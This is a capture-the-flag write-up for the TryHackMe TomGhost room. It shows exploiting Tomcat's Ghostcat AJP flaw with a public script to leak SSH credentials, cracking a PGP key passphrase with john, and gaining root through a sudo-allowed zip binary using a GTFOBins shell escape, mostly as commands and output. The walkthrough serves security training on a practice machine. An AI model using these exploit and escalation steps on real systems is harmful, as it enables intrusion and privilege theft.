TryHackMe - Write-up - TomGhost Room - Linux/RFI/Ghostcat/PGP

As always let's start with basic enumeration Nmap portscan:

```
┌──(root💀koelhosec)-[/home/tryhackme/tomghost]
└─# nmap -A -T4 -p- -vvv 10.10.217.124 | tee nmap.txt
```

We see 4 open ports:

```
Discovered open port 8080/tcp on 10.10.217.124
Discovered open port 53/tcp on 10.10.217.124
Discovered open port 22/tcp on 10.10.217.124
Discovered open port 8009/tcp on 10.10.217.124
```

An uncommon open port 8009 shows a Apache Jserv running:

```
8009/tcp open  ajp13      syn-ack ttl 61 Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
```

Let's search for a possible exploit:

```
┌──(root💀koelhosec)-[~]
└─# searchsploit AJP
------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                          |  Path
------------------------------------------------------------------------ ---------------------------------
AjPortal2Php - 'PagePrefix' Remote File Inclusion                       | php/webapps/3752.txt
Apache Tomcat - AJP 'Ghostcat File Read/Inclusion                       | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/Inclusion (Metasploit)         | multiple/webapps/49039.rb
------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
```

The remote file inclusion python script seems to be interesting. Let's copy it and see what we need:

```
┌──(root💀koelhosec)-[/home/tryhackme/tomghost]
└─# searchsploit -m 48143
  Exploit: Apache Tomcat - AJP 'Ghostcat File Read/Inclusion
      URL: https://www.exploit-db.com/exploits/48143
     Path: /usr/share/exploitdb/exploits/multiple/webapps/48143.py
File Type: Python script, ASCII text executable

Copied to: /home/tryhackme/tomghost/48143.py
```

All we need is a target – let's plug our target machine IP in and see what happens!

```
┌──(root💀koelhosec)-[/home/tryhackme/tomghost]
└─# python3 48143.py
usage: 48143.py [-h] [-p PORT] [-f FILE] target
48143.py: error: the following arguments are required: target

┌──(root💀koelhosec)-[/home/tryhackme/tomghost]
└─# ./48143.py 10.10.217.124
Getting resource at ajp13://10.10.217.124:8009/asdf
```

Scrolling down the output shows us credentials to the machine:

```
  <display-name>Welcome to Tomcat</display-name>
  <description>
     Welcome to GhostCat
        [redacted]
  </description>

</web-app>
```

After SSH in the machine we find two interesting files credential.pgp and tryhackme.asc

```
┌──(root💀koelhosec)-[/home/tryhackme/tomghost]
└─# ssh skyfuck@10.10.217.124
```

```
skyfuck@ubuntu:~$ ls -la
total 40
drwxr-xr-x 3 skyfuck skyfuck 4096 Feb 17 17:53 .
drwxr-xr-x 4 root    root    4096 Mar 10  2020 ..
-rw------- 1 skyfuck skyfuck  136 Mar 10  2020 .bash_history
-rw-r--r-- 1 skyfuck skyfuck  220 Mar 10  2020 .bash_logout
-rw-r--r-- 1 skyfuck skyfuck 3771 Mar 10  2020 .bashrc
drwx------ 2 skyfuck skyfuck 4096 Feb 17 17:53 .cache
-rw-rw-r-- 1 skyfuck skyfuck  394 Mar 10  2020 credential.pgp
-rw-r--r-- 1 skyfuck skyfuck  655 Mar 10  2020 .profile
-rw-rw-r-- 1 skyfuck skyfuck 5144 Mar 10  2020 tryhackme.asc
```

Those appear to be files with encrypted pgp (pretty good privacy) and some ASCII armour (tryhackme.asc). Let's try importing the ASCII armour as a key:

```
skyfuck@ubuntu:~$ gpg --import tryhackme.asc
gpg: directory `/home/skyfuck/.gnupg' created
gpg: new configuration file `/home/skyfuck/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/skyfuck/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/skyfuck/.gnupg/secring.gpg' created
gpg: keyring `/home/skyfuck/.gnupg/pubring.gpg' created
gpg: key C6707170: secret key imported
gpg: /home/skyfuck/.gnupg/trustdb.gpg: trustdb created
gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg:               imported: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
```

We should now be able to decrypt the credentials.... but it asks us for a passphrase:

```
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp

You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)

gpg: gpg-agent is not available in this session
Enter passphrase:
```

Looks like we're going to be brute forcing this key. Download the asc file to your own Kali machine, then we'll convert it with a tool called gpg2john:

```
┌──(root💀koelhosec)-[/home/tryhackme/tomghost]
└─# scp skyfuck@10.10.217.124:tryhackme.asc .
skyfuck@10.10.217.124's password:
tryhackme.asc
```

```
┌──(root💀koelhosec)-[/home/tryhackme/tomghost]
└─# gpg2john tryhackme.asc hash
Created directory: /root/.john

File tryhackme.asc
tryhackme:$gpg$*17*54*3072*713ee3f57cc950f8f89155679abe2476c62bbd286ded0e049f886d32d2b9eb06f482e9770c710abc2903f1ed70af6fcc22f5608760be*3*254*2*9*16*0c99d5dae8216f2155ba2abfcc71f818*65536*c8f277d2faf97480:::try
hackme <stuxnet@tryhackme.com>::tryhackme.asc
```

John will output the passphrase that we need to input on the pgp decrypt file:

```
┌──(root💀koelhosec)-[/home/tryhackme/tomghost]
└─# john --format=gpg --wordlist=/usr/share/wordlists/rockyou.txt /home/tryhackme/tomghost/hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
              (tryhackme)
1g 0:00:00:00 DONE (2022-02-17 21:08) 5.882g/s 6305p/s 6305c/s 6305C/s alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

And voila! We have the credentials for the second user and can do lateral privilege escalation:

```
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp

You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)

gpg: gpg-agent is not available in this session
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11
      "tryhackme <stuxnet@tryhackme.com>"
```

Let's login into the user "merlin" and we find the user.txt file:

```
merlin@ubuntu:~$ ls -la
total 36
drwxr-xr-x 4 merlin merlin 4096 Mar 10  2020 .
drwxr-xr-x 4 root   root   4096 Mar 10  2020 ..
-rw------- 1 root   root   2090 Mar 10  2020 .bash_history
-rw-r--r-- 1 merlin merlin  220 Mar 10  2020 .bash_logout
-rw-r--r-- 1 merlin merlin 3771 Mar 10  2020 .bashrc
drwx------ 2 merlin merlin 4096 Mar 10  2020 .cache
drwxrwxr-x 2 merlin merlin 4096 Mar 10  2020 .nano
-rw-r--r-- 1 merlin merlin  655 Mar 10  2020 .profile
-rw-r--r-- 1 merlin merlin    0 Mar 10  2020 .sudo_as_admin_successful
-rw-rw-r-- 1 merlin merlin   26 Mar 10  2020 user.txt
merlin@ubuntu:~$ cat user.txt
```

Now for the root access let's check sudo -l and it shows no password access to the *zip* binary:

```
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip
```

.

GTFO bins on the *zip* binary shows us the way to a pretty simple privilege escalation vector:

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
```

And we have root access and can cat the root.txt file!

```
merlin@ubuntu:~$ TF=$(mktemp -u)
merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# whoami
root
# ls
user.txt
# cat /root/root.txt
[redacted]
```